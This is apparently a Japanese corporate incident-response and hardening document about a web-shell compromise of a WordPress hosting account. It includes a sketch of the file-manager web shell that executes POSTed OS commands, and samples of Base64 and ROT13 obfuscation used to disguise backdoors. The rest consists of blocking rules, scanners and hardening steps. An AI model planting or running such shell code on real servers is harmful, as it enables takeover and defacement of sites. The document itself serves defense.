Webシェルとは、攻撃者がサーバーに設置する「遠隔操作用PHPファイル」です。ブラウザ経由でサーバー上のあらゆる操作(ファイル閲覧・編集・削除・OSコマンド実行・他ドメインへの横断)が行えます。今回の fgh.php はその典型的な「ファイルマネージャ型」です。
ファイルマネージャ型Webシェルの典型的な構造:
// ① 認証チェック(パスワードが合えば全機能が使える) if($_POST['pass'] !== 'attacker_password') die(); // ② action パラメータで機能を切り替え switch($_GET['action']) { case '9': // OSコマンド実行(攻撃ログ: ?action=9&shell_form=1) if($_POST['shell_form']) { echo shell_exec($_POST['cmd']); // POSTされたコマンドをサーバーで実行 } break; case 'get_node': // ディレクトリツリー取得 // fm_current_root=/home/mediface/ → アカウント全体を掌握 $root = $_GET['fm_current_root']; echo json_encode(scandir($root)); break; case 'delete': // ファイル削除(攻撃ログで確認) unlink($_GET['dir'] . '/' . $_GET['files']); break; }
GET /fgh.php?frame=2&fm_current_root=%2Fhome%2Fmediface%2F&operation=get_node// 手口① WordPressコアファイル名への偽装 /wp-admin/js/widgets/media-widgets.php ← 正規: media-widgets.js /wp-includes/images/image-data.php ← 正規: .png/.webp のみ存在するはず /wp-includes/js/tinymce/skins/lightgray/fonts/tinymce.php ← フォントディレクトリに偽装 // 手口② 画像・CSSディレクトリへの偽装 /css/kint.php ← CSS名ディレクトリにPHPを配置 /images/gallery/Frame_v2_4.php ← 画像ファイル名に偽装 /images/doctor1.php ← doctorの画像ファイルに見せかける // 手口③ Base64による難読化(コード解読を妨害) eval(base64_decode('cGhwaW5mbygpOw==')); ← デコードするとphpinfo();等 // 手口④ 変数名・関数名のランダム化 $x9f2a = str_rot13('flfgrz'); ← 'system'をROT13でエンコード $x9f2a($_POST['c']); // 手口⑤ CGI・レアPHPフラグの利用(.php5等) self-portrait-1886.php ← 有名絵画名で目視確認を欺く
~Aug 5以前
fgh.phpをkikuchi-law.comに設置
(方法不明・ログ外)
Aug 12 19:33
IPから直接URLを叩いて起動
(偵察なし・URLを知っていた)
19:33〜20:06
/home/mediface/全21ドメインを掌握
40個のバックドアを設置
20:00〜05:03
130URLにカジノスパムを注入
Googleに強制インデックス
注入済み
SEO操作で検索順位を上げ
アフィリエイト収益を得る
Cloudflareプロキシを有効化してWAF・DDoS保護・IP国別ブロックを追加。CORESERVER直接公開を廃止しオリジンIPを隠蔽。
全PHPファイルのMD5ハッシュをベースラインとして記録。6時間毎に自動比較し、新規・変更ファイルを即時メール通知。
.htaccess で確認済み攻撃者IP(8件)+インドネシア・イラン主要ISPレンジをブロック。wp-adminはホワイトリストIPのみ許可。
.htaccess RewriteRule で shell_form=1 / action=9 / fm_current_root / eval(base64 等のリクエストパターンを403 Forbiddenで直接拒否。
uploads/ images/ css/ js/ fonts/ ディレクトリ配下のPHP実行を完全禁止。攻撃者が画像・CSS名でPHPを偽装しても実行不可能にする。
FTPパスワード変更(長く複雑に)+FTP接続元IP制限(CORESERVER管理画面)。WordPress管理者パスワード変更+2FA有効化。SSH鍵認証化。
ハッキング対応/実装ファイル/ フォルダに保存済みです。FTPクライアント(FileZilla等)でCORESERVERに接続してアップロードしてください。攻撃者が /css/kint.php / /images/doctor1.php のようにPHPを画像・静的ファイルディレクトリに偽装して設置しても、実行が不可能になります。
# wp-content/uploads/.htaccess に配置 <FilesMatch> "\.(php|php5|phtml|phar|pl|py|sh)$" Order Deny,Allow Deny from all </FilesMatch> <IfModule mod_php.c> php_flag engine off # PHPエンジン自体を無効化 </IfModule>
今回の攻撃で実際に使われたURLパラメータを直接ブロックします:
<IfModule mod_rewrite.c> RewriteEngine On # fgh.php 型のシェル操作シグネチャ RewriteCond %{QUERY_STRING} (action=9|shell_form=1|fm_current_root|fm_current_dir) [NC,OR] RewriteCond %{QUERY_STRING} (action=delete.*dir=|action=upload|operation=get_node) [NC,OR] RewriteCond %{QUERY_STRING} (eval\(|base64_decode|shell_exec|system\(|passthru) [NC] RewriteRule .* - [F,L] # 403 Forbidden </IfModule>
GET /fgh.php?action=9&shell_form=1 → このルールで403になります管理画面へのアクセスを特定IPのみに制限。日本以外からの不正ログイン試行を根本的に排除します。
<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_URI} ^/wp-admin RewriteCond %{REQUEST_URI} !^/wp-admin/admin-ajax\.php # フロントエンドAJAXは除外 RewriteCond %{REMOTE_ADDR} !^203.0.113.1 ← あなたのIPに変更 RewriteRule ^ - [F,L] </IfModule> # ★ 自分のIPを確認: https://ifconfig.me/ # ★ 複数IPの場合: RewriteCond %{REMOTE_ADDR} !^(IP1|IP2) [NC]
XML-RPCはWordPressのリモートAPI機能ですが、ブルートフォース攻撃の入り口として悪用されます。今回の攻撃者IPは xmlrpc.php へのアクセスが0件でしたが、fraise-clinic.comで稼働確認済みのため閉鎖します。
<Files xmlrpc.php> Order Deny,Allow Deny from all </Files>
// ファイル編集・プラグインインストールを管理画面から禁止 define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); // HTTPS強制 define('FORCE_SSL_ADMIN', true); // コア自動更新を有効化 define('WP_AUTO_UPDATE_CORE', true); // デバッグ情報を非表示(エラーメッセージからバージョン・パス情報を隠す) define('WP_DEBUG', false);
| プラグイン | 優先度 | 主な機能 | 注意 |
|---|---|---|---|
| Wordfence Security | 最優先 | WAF・マルウェアスキャン・ログイン試行制限・ファイル変更検知 | 無料版で十分。インストール後すぐにスキャンを実行 |
| WPS Hide Login | 最優先 | wp-login.php のURLをカスタムURLに変更(例: /mediface-login) | URLを忘れると自分もログインできなくなる。メモ必須 |
| WP Activity Log | 高 | 管理画面での全操作を記録。不審なログイン・変更を検知 | 今回の攻撃では管理画面ログが残っていなかった。必須 |
| Limit Login Attempts Reloaded | 高 | ログイン失敗回数を制限してブルートフォース攻撃を防止 | 5回失敗でロックアウト推奨 |
| iThemes Security | 中 | 2FA・ファイルアクセス制限・データベースプレフィックス変更など総合強化 | Wordfenceと機能重複あり。どちらか一方で十分 |
admin から変更(adminは最もよく狙われる)クリーンな状態でPHPファイル全てのMD5ハッシュを記録(ベースライン)。定期的に現状と比較し、変更・追加されたファイルがあれば即座に通知します。
# STEP 1: クリーンな状態でベースラインを作成(一度だけ実行) bash integrity_monitor.sh --init # → /home/mediface/.security/php_baseline.md5 に全PHPのMD5を保存 # STEP 2: cronで定期チェック(6時間ごと自動実行) # crontab -e で以下を追加: 0 */6 * * * /home/mediface/security/integrity_monitor.sh --check # STEP 3: 変更検知時の出力例 ⚠️ 変更検知: /home/mediface/domains/medi-face.co.jp/public_html/wp-includes/images/image-data.php ベースライン MD5: a1b2c3d4... 現在の MD5: 99f8e7d6... ← ハッシュが変わった = ファイル改ざん 🆕 新規ファイル: /home/mediface/domains/fraise-clinic.com/public_html/css/kint.php # → CSSディレクトリに新しいPHPが出現 = バックドアの疑い
# バックドアスキャナー実行(全ドメインを一気にスキャン) bash backdoor_scanner.sh /home/mediface # 今日変更されたPHPファイルを探す(最速確認) find /home/mediface -name "*.php" -newer /home/mediface/domains/medi-face.co.jp/public_html/index.php -mtime -1 2>/dev/null # eval(base64_decode を含むPHPを全ドメインから検索 grep -rl "eval.*base64_decode" /home/mediface --include="*.php" # 画像・CSS・JSディレクトリにPHPがないか確認 find /home/mediface -type f -name "*.php" | grep -E "/(images?|img|css|js|fonts|uploads)/"
?action=9&shell_form=1 や fm_current_root が出現したhttps://web.telegram.org/)からのPHP直接アクセスがあった| 連絡先 | 用途 | 連絡方法 |
|---|---|---|
| CORESERVER サポート | ログ保全・IP緊急ブロック依頼 | 管理画面チケットまたは電話 |
| 警視庁サイバー犯罪対策課 | 被害申告・ログ保全要請 | 03-3581-4321 |
| JPCERT/CC | インシデント報告・技術支援 | https://www.jpcert.or.jp/form/ |
| Cloudflare trust@cloudflare.com | Pages不正利用報告 | メール(本件は送信済み) |
| Netcraft | フィッシングURL報告 | https://report.netcraft.com/ |
バックドア防御設計書 | 作成: 2026-08-13 | 株式会社メディフェイス セキュリティチーム
実装ファイル保存先: ハッキング対応/実装ファイル/